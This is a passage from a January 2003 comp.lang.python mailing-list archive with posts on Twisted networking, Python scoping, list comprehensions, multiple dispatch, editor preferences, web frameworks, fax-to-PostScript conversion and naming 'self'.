    factory.protocol = QOTD
    app.listenTCP(8017, factory)
    
    app.run(save=0)

--- end example ---

Have a look at how small the Echo protocol is in Twisted: *four* lines.  And
that includes comments :)

Given that Twisted also supports UDP and SSL, and comes with a huge amount
of already written protocols -- including a fully working SSH server and
client -- and also supports running processes (and reading their
stdin/stdout/stderr as part of the event loop), and has powerful
abstractions that greatly ease asychronous programming, and has integration
with GUI event loops, and much much much more, I heartily recommend it over
asyncore, or any asyncore derivatives, such as medusa...

...of course, being a developer, I might be slightly biased ;)

I'll happily elaborate on any of the above points, if you'll let me :)

Regards,

-Andrew.

 [1] For asynchronous values of simulaneously ;)





From deltapigz at telocity.com  Wed Jan  8 12:05:03 2003
From: deltapigz at telocity.com (Adonis)
Date: Wed, 8 Jan 2003 12:05:03 -0500
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org>
Message-ID: <3e1c5a33$1_1@nopics.sjc>

not a bug.
you must assign a value to GLOBAL_VARIABLE

def someFunction():
    global GLOBAL_VARIABLE
    GLOBAL_VARIABLE = 1
    print GLOBAL_VARIABLE

hope this helps.

Adonis

"Michal Vitecek" <fuf at mageo.cz> wrote in message
news:mailman.1042041138.4444.python-list at python.org...
> hello everyone,
>
>  i've encountered a strange problem with accessing a global variable
>  from imported module. the imported module (file imported.py) contains:
>
> ---imported.py start---
>  def someFunction():
>     global GLOBAL_VARIABLE
>
>     print GLOBAL_VARIABLE
> ---imported.py end---
>
>  and now the session copy:
>
> ---session start---
> Python 2.2.1 (#4, Sep  4 2002, 13:43:54)
> [GCC 2.95.3 20010315 (release)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> GLOBAL_VARIABLE = 'some value'
> >>> from imported import *
> >>> dir()
> ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
> >>> someFunction()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "imported.py", line 4, in someFunction
>     print GLOBAL_VARIABLE
> NameError: global name 'GLOBAL_VARIABLE' is not defined
> >>>
> ---session end---
>
>  what's the problem here? it seems to me like this is a bug in python.
>
>     thanks for any responses,
> --
> fuf (fuf at mageo.cz)
>





From eppstein at ics.uci.edu  Wed Jan 29 00:36:32 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Tue, 28 Jan 2003 21:36:32 -0800
Subject: else in list comp
References: <mailman.1043813212.6357.python-list@python.org>
Message-ID: <eppstein-1A10DE.21363228012003@news.service.uci.edu>

In article <mailman.1043813212.6357.python-list at python.org>,
 Cliff Wells <clifford.wells at attbi.com> wrote:

> Given the list:
> 
> l = ['mary', 'had', 'a', 'little', None]
> 
> it should get mapped to ['mary', 'had', 'a', 'little', '']

[x or '' for x in l]

btw, l is a bad letter to use for a variable name (easy to confuse with 
1 or I or even |).

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From list.adam at twardoch.com  Wed Jan 15 22:58:40 2003
From: list.adam at twardoch.com (Adam Twardoch)
Date: Thu, 16 Jan 2003 04:58:40 +0100
Subject: Locale-sensitive list separator under Windows
References: <b04qa1$l5l8c$1@ID-135222.news.dfncis.de> <b051kv$230$00$1@news.t-online.com> <b052sg$lrq2f$1@ID-135222.news.dfncis.de>
Message-ID: <b06ame$kho26$1@ID-135222.news.dfncis.de>

"Adam Twardoch" <list.adam at twardoch.com> wrote in message
news:b052sg$lrq2f$1 at ID-135222.news.dfncis.de...

After some experiments, I found the solution -- below.
Adam

--

#Uses edll from http://pages.ccapcable.com/lac/extra/edll.py
#And calldll from http://www.nightmare.com/~rushing/dynwin/
from edll import Cfunc, Bptr
GetLocaleInfoW = Cfunc('kernel32','GetLocaleInfoW')
LocInfIn = "\x00"*255
LocInfOut = GetLocaleInfoW(1024, 12, Bptr(LocInfIn), len(LocInfIn))
uLocInfStr = LocInfOut[1].decode("utf_16_le")
ulistsep = uLocInfStr[:uLocInfStr.find("\x00")]
listsep = ulistsep.encode("unicode-escape", "replace")
print listsep




From mertz at gnosis.cx  Fri Jan  3 13:49:17 2003
From: mertz at gnosis.cx (David Mertz)
Date: Fri, 03 Jan 2003 13:49:17 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
 <3e15cc46_5@news.bluewin.ch>
Message-ID: <tsdF+kKkXEIZ092yn@gnosis.cx>                       

<David Mertz>
|> Now I can easily imaging that a method body would want to call on some
|> -specific- function that happened to be one of the multimethods.

"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|It really seems that the notion of multiple dispatching fill your mind
|with FUD <wink>.

Nah... my mind already becomes filled with FUD when I think of single
dispatch.  My naivety doesn't need the extra wrinkle.

|Your line of reasoning could be equally applied to single dispatch:

In my defense though, there IS a difference.  Every new-style child
class HAS a superclass--if nothing else, 'object' (or 'type').  If I
define some rules for multiple dispatch, I have no way of knowing within
the function bodies whether there even *is* a 'multi_super()' method to
call.  And whether there is can change at runtime (actually, I could
change it at runtime within that very function body, but that would be
perverse).

The way I handle things in my current implementation (only propogating
dispatch AT_END or AT_START) already includes generic guards to prevent
non-existing less specific methods from being called.  With a user
controlled multi_super(), you would need to add your own guards, and
change the flow to account for contingencies:

    def semi_specific(this, that):
        ...do stuff...
        try:    # maybe there is *some* less specific method
            val = multi_super()
        except NothingLessSpecificError:
            try_to_fix_things()
        ...more stuff...

Calling super() doesn't run into this problem.  Now I -could- try to do
something "safe" in multi_super() as a fallback.  A 'pass' is pretty
safe from an execution perspective.  But if 'semi_specific()' wants a
return value, there is no way a fallback can guess a usuable value.

Yours, David...

--
 mertz@   _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i
gnosis  _/_/                    Postmodern Enterprises         _/_/  s r
.cx    _/_/  MAKERS OF CHAOS....                              _/_/   i u
      _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/    g s





From sjmachin at lexicon.net  Tue Jan 14 07:09:36 2003
From: sjmachin at lexicon.net (John Machin)
Date: 14 Jan 2003 04:09:36 -0800
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042478427.14500.python-list@python.org>
Message-ID: <c76ff6fc.0301140409.7423a68f@posting.google.com>

Tim Peters <tim.one at comcast.net> wrote in message news:<mailman.1042478427.14500.python-list at python.org>...
.
> 
> As to whether it's "minor" or not, of course it depends on the exact
> programs you're measuring.  There's never been a good reason to believe this
> one isn't minor <wink>.

Have you considered possible flow-on effects? An observation, not a
candidate for a "good reason to believe": POP_TOPs can inhibit
jump-target optimisations e.g. a jump to a POP_TOP, which is followed
by another jump. If the POP_TOP isn't there, you can change the target
of the 1st jump. In some cases you get a bonus; the 2nd jump is then
unreachable and can be blown away.



From eviola at dsi.unive.it  Thu Jan 30 04:08:18 2003
From: eviola at dsi.unive.it (Pigio®)
Date: Thu, 30 Jan 2003 09:08:18 GMT
Subject: URLLIB2 
References: <yiOZ9.59194$ZE.1647153@twister2.libero.it> <aUQZ9.47296$Hl6.6059165@news010.worldonline.dk> <FnVZ9.60428$YG2.1700846@twister1.libero.it> <_FYZ9.47565$Hl6.6097192@news010.worldonline.dk>
Message-ID: <6Y5_9.63194$ZE.1736027@twister2.libero.it>

Ok, but when urllib2 complete the connections normally returns a response
(also the exception). In my case urllib2 remains on  expectation mode
(doesn't return).

Ennio-





From jarrodhroberson at yahoo.com  Thu Jan 23 22:40:39 2003
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 23 Jan 2003 19:40:39 -0800
Subject: Is it possible to statically link Python into a C/C++ program?
Message-ID: <c718a6cf.0301231940.643f34be@posting.google.com>

And if so how? Links to any information would be satisfactory.
I have searched Google and found nothing helpful.



From max at alcyone.com  Sun Jan 12 18:56:12 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 15:56:12 -0800
Subject: String representation of an identifier's name
References: <67446a0a.0301121334.22fe0673@posting.google.com>
Message-ID: <3E22009C.54936DE4@alcyone.com>

Boethius wrote:

> I think it easier to explain with an example, so here it goes:
> Assuming there's a function fn that does what I want, it would work
> like this:
> 
> g = 23
> foo = {'a':56}
> 
> fn(g) => 'g'
> fn(foo) => 'foo'
> 
> How can I write fn? O:-)

The pressing question should really be why you think you need this.  In
Python, variables are really bindings, and as such as not unique; that's
a good sign that you're probably taking the wrong approach by thinking
you want _the_ name of an object, since there's no guaranteeing it has a
unique name.

So back up a step:  What made you conclude that you needed such a
function?  If you tell us about more about the problem that led you to
this solution, you're pretty much guaranteed we can suggested a better
(more "Pythonic") approach.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ A good indignation brings out all one's powers.
\__/ Ralph Waldo Emerson
    Lsystem / http://www.alcyone.com/pyos/lsystem/
 A Lindenmayer systems explorer in Python.



From smulloni at smullyan.org  Fri Jan 24 11:08:03 2003
From: smulloni at smullyan.org (Jacob Smullyan)
Date: 24 Jan 2003 11:08:03 -0500
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org>
Message-ID: <87smvittss.fsf@bracknell.smullyan.org>

Ian Bicking <ianb at colorstudy.com> writes:

> This data can be used for caching.  IMHO the convenience of this caching
> makes increasing performance easier in Webware than, say, SkunkWeb
> (which uses multiple processes, and so makes data sharing harder). 
> SkunkWeb claims the multiple processes mean that it can better utilize
> multi-processor systems because it is not pinned by the global
> interpreter lock.  This is true, but there are many ways to increase
> performance, and I believe easy data sharing and caching is more of a
> benefit than multiple processors would be.  But anyway, I digress...

I'm a developer for SkunkWeb, and would make a different value
judgement, although I have no factual disagreement with Mr. Bicking.
I would agree that SkunkWeb's multiple-process design does not
necesarrily translate into a performance advantage in all scenarios,
and the published SkunkWeb propaganda may make too much of this design
decision (although I think it was an important factor for the
applications for which it was initially designed).  There is a cost to
be paid in the heaviness of the application (which doesn't matter
much) and the relative difficulty in doing some kinds of resource
sharing that would be simpler or perhaps more efficient in a
multi-threaded context.

There are some pluses to a multi-process design beyond transcending
the limitations of the global interpreter lock.  You never ever have
to worry about thread sychronization in writing for SkunkWeb, which
will make some developers' lives easier.  You don't have to worry
about crashing the whole application server.  It just fits with
SkunkWeb's rather open, un-boxed-in aesthetic; it is an easy design to
live with, for some folks.  Let's just say, without starting a
religious war about threads (I'm agnostic!) that a multi-process
alternative is nice to have.

As for caching, SkunkWeb is I believe very strong in this area, as it
does have a very useful component cache, which stores component output
on disk; and this cache can be controlled with considerable finesse,
and furthermore with ease.  While access to a disk cache is not going
to be as fast as access to memory, just as with the GIL lock issue,
there are other ways of improving performance.  The convenience and
controllability of the SkunkWeb cache is a huge advantage, as it can
be utilized to the fullest with virtually no development effort.

(Incidentally, if anyone feels strongly that SkunkWeb should be able
to run in multi-threaded mode, feel free to submit patches :).  The
main challenge would be to make the Configuration object in
multi-thread mode return thread-specific information, and of course to
provide an alternate bootloader.)

Cheers,

Jacob Smullyan



From grey at despair.dmiyu.org  Fri Jan  3 14:04:41 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 19:04:41 -0000
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <av4hmu$ir6$1@ins22.netins.net>
Message-ID: <slrnb1bnm9.o8n.grey@teleute.dmiyu.org>

On 3 Jan 2003 17:36:30 GMT, Mike Dean <klaatu at evertek.net> wrote:
> I've since dropped any ideas of learning Emacs completely, as, within 6
> months of learning Vim, I was able to fluently work with multiple bufferes
> and windows, multiple cut and paste registers, and was writing my own
> scripts.

    My experience is similar.  When I got a new job about 4 years ago I went
from editing scripts as a hobby into having to do it professionally.  Up until
that time joe had served me well.  I found that syntax highlighting was
something that really helped me out and set out to find an editor that had it
for the languages I expected to write in.  I had three major candidates.
Emacs, vim and jed.  

    I tried jed for a few weeks.  Had it set up for my news and email and
diddled around in code.  Couldn't get the hang of it and was constantly being
slowed down.  

    Next up, Emacs.  Same problem.  Of course Emacs was ever so helpful by
having the help pop up every time I hit backspace.  Sure, ^? or ^H (whichever
it is) /sounds/ like a neat keybinding for help but as anyone with a minute
amount of unix experience knows they are BS and DEL.  Kind of a common
character for editing text.  Needless to say that after a few hours Emacs was
forcibly ejected from my HD.

    I tried vim last for a simple reason.  I hate the idea of a modal editor.
I really do.  In fact, 4 years later, I still hate the idea of a modal editor.
But going through the tutorial I was very close to my speed in joe.  Within a
week I was going faster than in joe.  Inside two weeks I had vim as the
default editor for mail and news and had completely switched over to it for
all editing tasks.

    From joe to vim in under 2 weeks and it was the most comfortable of the
three options.  The sad part is that I had been using Wordstar-esque
keymappings for the ~14 years prior to the switch.  One would think that going
from Wordstar to Emacs would be the far easier switch.  It was not.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From max at alcyone.com  Mon Jan 13 05:01:37 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 02:01:37 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: 
 [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>
Message-ID: <3E228E81.81B0FACD@alcyone.com>

Terry Hancock wrote:

> Kevin Altis wrote:
>
> > There is only one name possible, it must be called pythy.
> > As in pithy
> 
> Not that it's necessarily a bad name, but *why* is that appropriate?

Indeed, the word has negative connotations, so it does not seem like an
appropriate name at all.

> I immediately thought of the image of a snake biting its tail -- an
> ancient
> symbol of the cycle of life, recursion, etc.  The name for this symbol
> appears to be variously:
> 
> Uroboros
> Ourobouros
> Ourobourus
> 
> Not sure which spelling is "canonical".  Not so easy to pronounce
> though.

I've seen so many spelling variations that I would think that in itself
would disqualify it as a good choice of names.  In this day and age, it
makes sense to choose names that can be easily found through search
engines.  If it's inherently hard to spell right, it's not a good name.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ There I was / There I was / Splitting atoms with my desire
\__/ Lamya
    WebVal / http://www.alcyone.com/pyos/webval/
 URL scanner, maintainer, and validator in Python.



From clspence at one.net  Wed Jan 22 20:16:20 2003
From: clspence at one.net (Chris Spencer)
Date: 22 Jan 2003 19:16:20 -0600
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com> <A4HX9.4429$hy.318@nwrddc04.gnilink.net>
Message-ID: <j3gu2vokckhijhsafr9nh8lomuip2ra65g@4ax.com>

	Try tiff2ps.

Snippet of Python code for ya (THIS WILL NOT WORK BY ITSELF)...
def tiff2ps(infile):
	mylist=[]
	toolexe=os.path.normpath(g_BinDir+"/tiff2ps")
	try:
		tiffdata=infile.read()
	except:
		print "Unable to read input data. " 
		sys.exit(-5)
	bt=g_Temp.mktemp()
	psfile=bt+".ps"
	tifffile=bt+".tif"
	try:
		tiffout=open(tifffile,"wb")
	except:
		print "Unable to open temporary file "+tifffile
		sys.exit(-6)
	tiffout.write(tiffdata)
	tiffout.flush()
	tiffout.close()
	command=toolexe+" -p -O "+psfile+" -a "+tifffile
	l_return=os.system(command)
	print command+" returned exit code: "+`l_return`
	if l_return!=0:
		print "Could not create PostScript file."
		sys.exit(-11)
	try:
		infile=open(psfile,"rb")
	except:
		print "Unable to open PostScript file "+psfile
		sys.exit(-5)
	psdata=infile.read()
	infile.close()
	mylist.append(psdata)
	return mylist

Chris.

On Thu, 23 Jan 2003 00:56:00 GMT, jason.mangiafico at verizon.net (JM) wrote:

>quoting:
>>I am fiddling a bit with mgetty+sendfax, writing a program in Python as
>>front-end.
>>
>>These programs send and receive their faxes as g3 format, which is fine for
>>that purpose. For viewing and storing I want them as ps or pdf file! (to
>>convert between those two is trivial with ps2pdf).
>>
>>Any clue on how to convert from g3 to ps? (or where I could ask this
>>question)
>>I tried fax2ps (from libtiff-progs), doesn't work - complains that it does
>>not know the g3 file (is not a tiff file).
>>
>>I don't mind to have to use a few steps - e.g. g3 --> tiff --> ps --> pdf.
>
>
>Download the Adobe or Jaws PDF writer.  Now just print your faxes through the 
>printer driver, give it a filename, and there you have a PDF file.




From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 22:08:03 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 19:08:03 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com> <7xr8bekcfc.fsf@ruckus.brouhaha.com> <3E252A3F.EDED1438@alcyone.com> <cb035744.0301151024.54b05668@posting.google.com> <3E261ADE.D4096E8@alcyone.com>
Message-ID: <7xel7deqr0.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> It should be easy enough to detect that case, even with a completely
> opaque session ticket.  The session ticket will map to a record about
> the session, and in that session record you'll know the IP address of
> the connecting host.  In the event that the ticket matches but the host
> doesn't, you're either catching a cheater or someone with a really
> stupid ISP firewall.

Firewalls that do that are not necessarily stupid.  Some are
programmed on purpose to switch IP addresses between, for privacy
reasons.



From max at alcyone.com  Sun Jan 12 01:02:43 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 11 Jan 2003 22:02:43 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something 
 shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <3E210503.9A4F4AC8@alcyone.com>

"Jonathan P." wrote:

> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.
> 
> I was thinking of using '_' ('I' is a distant second
> choice) instead of self.  Comments?

I would consider any systematic use of a self parameter named something
other than `self' a near perversity.  You're just begging for confusion.

If you want to rebind it in the method, fine.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Life is not a spectacle or a feast; it is a predicament.
\__/ George Santayana
    CSBuddy / http://www.alcyone.com/pyos/csbuddy/
 A Counter-Strike server log file monitor in Python.



From david at no.westcontrol.spam.com  Fri Jan 17 07:46:01 2003
From: david at no.westcontrol.spam.com (David Brown)
Date: Fri, 17 Jan 2003 13:46:01 +0100
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>	<b03sui$shn$1@news.netpower.no>	<m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>	<b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de>	<3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122>	<3E26BA12.A8E9260B@engcorp.com> <mailman.1042738235.28171.python-list@python.org> <3E26F3F3.928C67A5@engcorp.com> <4KDV9.15912$ym5.2290@afrodite.telenet-ops.be>
Message-ID: <b08tnn$i23$1@news.netpower.no>

"Rudy Schockaert" <rudy.schockaert at pandora.be> wrote in message
news:4KDV9.15912$ym5.2290 at afrodite.telenet-ops.be...
> Sorry guys if I caused so much confusion. I did indeed cancel my first
post
> as I noticed myself that 'binary search' would cause confusion. What I
> actually was looking for was 'searching for a binary sequence in binary
> data'.
> Martin Lowis gave me the correct code. I was simply not aware I could use
> the built in function 'find' on binary data with a binary argument.
>
> Rudy the newby
>

It was me to misread your first post and caused this thread - sorry !






From zypin at sympatico.ca  Sat Jan  4 19:43:37 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 19:43:37 -0500
Subject: Distributing Python apps
References: <mailman.1041720609.1880.python-list@python.org> <mqKR9.8564$8M3.1432708@news20.bellglobal.com>
Message-ID: <KcLR9.8589$8M3.1440047@news20.bellglobal.com>

> David LeBlanc wrote:
>
> > In terms of a download, I'm betting that 2+mb for a runtime only
including
> > application bytes (binaries and doc) is more likely.
>

How can I deliver my 750 KB application to my customer?

Norm





From sean at activeprime.com  Wed Jan  8 15:34:01 2003
From: sean at activeprime.com (Sean)
Date: 8 Jan 2003 12:34:01 -0800
Subject: Small problem when overloading member functions...
Message-ID: <ef7a350b.0301081234.69f16267@posting.google.com>

I'm a little new to the language, so please excuse me if I'm missing
something obvious.  I've run into (what looks like) a strange
inconsistency in the language.  Anyway, I have a setup where I
initialize a class object within another class, and then have to
overload one of the new object's functions:

BEGIN SAMPLE CODE:

class A:
  def __init__(self):
    pass
    
  def setFunction(self, fromFunc, toFunc):
    fromFunc = toFunc
    
  def myPrint(self):
    print 'Old'  


class myClass:
  def __init__(self):
    a = A()

    #a.setFunction(a.myPrint, self.newPrint)
    a.myPrint = self.newPrint

    a.myPrint()

  def newPrint(self):
    print 'New'


b = myClass()


END SAMPLE CODE

The code above works fine, and prints out 'New' like it should. 
However, when I try to use the commented line (a.setFunction...)
instead of (a.myPrint = self.newPrint), the a.myPrint function is not
getting overloaded and still prints out 'Old'.  It seems to me that
since I'm passing both method instance objects to a.setFunction(),
there should be no problem overloading them.  Is there a way I can do
this with a function call?  It's important for this system to have a
generic method for overloading functions...



From tdelaney at avaya.com  Fri Jan 31 00:23:55 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Fri, 31 Jan 2003 16:23:55 +1100
Subject: Tab characters considered harmful (Was: Emacs has eaten my py
	 thon tabs!!!)
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADC522@natasha.auslabs.avaya.com>

> From: Mark Hadfield [mailto:m.hadfield at niwa.cri.nz]
> 
> > Two different web sites link "golden syrup" and "treacle" as being
> > equivalent.
> 
> No, treacle is darker-coloured than golden syrup. In New 
> Zealand, anyway.

That was what I thought too. Are the web sites you found Australian, Kiwi or
US?

Tim Delaney




From adalke at mindspring.com  Thu Jan  9 14:49:51 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 12:49:51 -0700
Subject: Do pythons like sugar?
In-Reply-To: <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
Message-ID: <avkk75$5a7$1@slb0.atl.mindspring.net>

Carl Banks wrote:
> If I asked a question about how to get rid of self, and was told that
> self is necessary because code without self makes a poor
> implementation, I would say the same thing, because it's a damn petty
> excuse to refuse to answer the question.  That's not why Python uses
> self, and it's flatly wrong.

That's not what happened, IMO.  He asked two questions, one implicit
and one explicit.  The implicit one was "my code is ugly because of
all the self. references, [what can I do to improve it?]"  The explicit
one was a refinement of the original question, being "does Python
have a 'with self do' construct, which some other language use to
solve similar problems?"

Here's Afanasiy' OP so you don't need to find it.
] I've written this method for a text formatting class...
] But it's ugly as sin. With all those self's I consider
] it much less readable than it could be...
]
] A few languages provide syntax sugar for dealing with
] this by allowing you to localize the class scope.
]
] Does Python? eg. `with self do:`

First paragraph is the problem he's trying to solve.  That's
the one he wants really wants answered.

Second paragraph thoughts about how other language solve it.

Third is a question asking if the second paragraph presents
a solution which is available in Python.

We answered his more fundamental question of how to make the code
less ugly.  We "refused" to answer his second question because it
wasn't relevant to answering the first question.

When he asked for clarification on the second (explicit) question,
I said no, "with .. do" isn't available, there were other threads
on this topic, that the contruct turns out not being helpful (with
the implication he could Google for the other threads to see why),
and pointed out that it wouldn't help the code example he gave.

I then suggested a way to make it slightly easier for the cases
when a lot of self are needed.

I said there's a tricky one-liner which does what he explicitly
asked for in his second post, but that it shouldn't be used.  It
shouldn't, and I made a judgement that if I posted it it would
be detrimental to his code and any others which read it.

I also pointed out that if he wants that feature added to Python
then he needs a good justification for it, which means specific
examples, as in code.


> And when he said, "My design is perfect," he was being sarcastic, and
> was mocking Andrew Dalke's attitude.

Th OP said my attitude was brusque, or some such.  I've been reviewing
my post and I still don't see that.  Yes, I said his implementation
(not his design) was poor.  It is.  Five other people agreed with me.
Was it wrong to point that out?  It wasn't like I said it sucks or
other harshly disparaging terms.  It's poor code, and any code review
would point it out.  Not only that, I suggested how to improve it.

Since you agree with him (he having stopped responding to this thread),
perhaps you can clarify.  Was it that I wouldn't give him the rope to
hang himself by posting the exec trick?  His clarification was "object
members in scope?" and the exec trick does just that.  However, it will
only do what he expects for in-place modifications of mutable objects,
since it doesn't put locals back into module scope.

Or should I have explained all that too?

> What I do see is a presumptuous attitude from some of the reponders;
> maybe not condescending, but definitely presumptuous.

Presumptuous?  Because I made assumptions about his level of
Python knowledge based on the code he presented?

> He got unwanted answers to a question he didn't ask.

But he did ask it.  Just not with a question mark.


> So I sympathize with Afanasiy here.  It can be quite irritating to ask
> a question, and have someone second guess you for even asking.  And it
> can be very nauseating when that person treats you as if you actually
> did ask the question you didn't ask.

Hence herein I described exactly my interpretation of the OP, to
show exactly why I saw two questions.

 >  Replies like, "why are you doing it that
> way, you should do it this way," without any regard to the actual
> question, I find very rude.

There are other ways to have constructed the OP to make it more
explicit on what was requested.  The actual explicit question is


   Does Python provide syntax sugar for dealing with many self
   references by allowing you to localize the class scope?

That restated question is pieced together from across three different
paragraphs.  Had it been written that way, it would have had an
explicit answer.  It wasn't, hence the responses given.

> Whenever I want to offer alternatives, I'll usually answer the
> original question, if I know the answer, and then offer alternatives.

Hmm.  And here I thought I did.  1) rewrite the code, 2) put 'self.'
in the paste buffer.  I should also have offered 3) use local variables
instead of instance variables, but Simon Wittber already did that.

Yes, there was a solution I wasn't going to post, tough.  I
wasn't going to lie and say no when the solution wasn't a proper
answer to the question.  Nor did I want the obligation of explaining
how it worked, how it could go wrong, and why it shouldn't be used.

Perhaps I should stop posting then?

					Andrew
					dalke at dalkescientific.com





From davecook at nowhere.net  Sun Jan 19 01:34:15 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sun, 19 Jan 2003 06:34:15 GMT
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <slrnb2khn8.1gd.davecook@localhost.localdomain>

In article <b08ank$dak12 at imsp212.netvigator.com>, Wouter van Marle wrote:
> Hi All,
> 
> Can anyone recommend me an introduction on object oriented programming in
> general, and the trick in Python? Preferrably tutorial on the web or so.

Some good books on the subject:

An Introduction to Object-Oriented Programming (3rd Edition)
by Timothy Budd

Design Patterns Explained: A New Perspective on Object-Oriented Design
by Alan Shalloway, James R. Trott

Dave Cook



From howard at eegsoftware.com  Tue Jan 21 02:25:12 2003
From: howard at eegsoftware.com (Howard Lightstone)
Date: Tue, 21 Jan 2003 07:25:12 GMT
Subject: Pmw and BLT
References: <3e2c4761_1@binarykiller.newsgroups.com>
Message-ID: <Xns9309EDD7A53EDhowardeegsoftwarecom@66.75.162.201>

mongo57a at comcast.net wrote in
news:3e2c4761_1 at binarykiller.newsgroups.com: 

> Pulling out what little hair I have left trying to get Blt to work!
> 
> After installing the latest Pmw, I installed Blt2.4z. I followed the
> instructions and I believe that everything was "made" successfully. If
> I go into the Blt2.4z directory
> (usr/lib/python2.2/site-packages/Pmw/Blt2.4z/demos/) and execute the
> Tcl demo (./graph1.Tcl), it works.
> 
> However, when I try to execute BltGraph.py
> (/usr/lib/python2.2/Pmw_1_1/demos/), I get the message box "BLT
> Package has not been installed on this system".
> 
> As far as I can see, the package was built successfully with only a
> few warnings here and there. Anyone know what might be wrong? Do I
> need to add something to my path? or
> modify a Python variable?
> 
> TIA
> 
> Andy
> 
What I have to do to make it work:

1.  Copy the BLT24.dll to somewhere TCL can find it (NOT where Python can 
find it).  Usually, I just put it in the Windows SYSTEM directory.  This is 
because TCL is doing the loading and not Python.

2.  Copy the BLT2.4 directory from where it is installed 
    (usually pythonxx/tcl/lib) to the pythonxx/tcl directory




From d_blade8 at hotmail.com  Tue Jan  7 16:52:55 2003
From: d_blade8 at hotmail.com (Lemniscate)
Date: 7 Jan 2003 13:52:55 -0800
Subject: opening a text document to show a .txt file through a browserlink
References: <hcrP9.30944$Y2.1113@news2.bredband.com> <mailman.1041277439.30986.python-list@python.org> <3E10B410.E69EB572@alcyone.com> <mailman.1041288686.25278.python-list@python.org> <ahqqua.r04.ln@beastie.ix.netcom.com> <mailman.1041312425.5480.python-list@python.org> <7396d2b2.0212311127.13ebaa8@posting.google.com> <tyfd6nhdikf.fsf@lxplus047.cern.ch> <7396d2b2.0301021520.74988ef0@posting.google.com> <3e14cc18$0$223$a1866201@newsreader.visi.com>
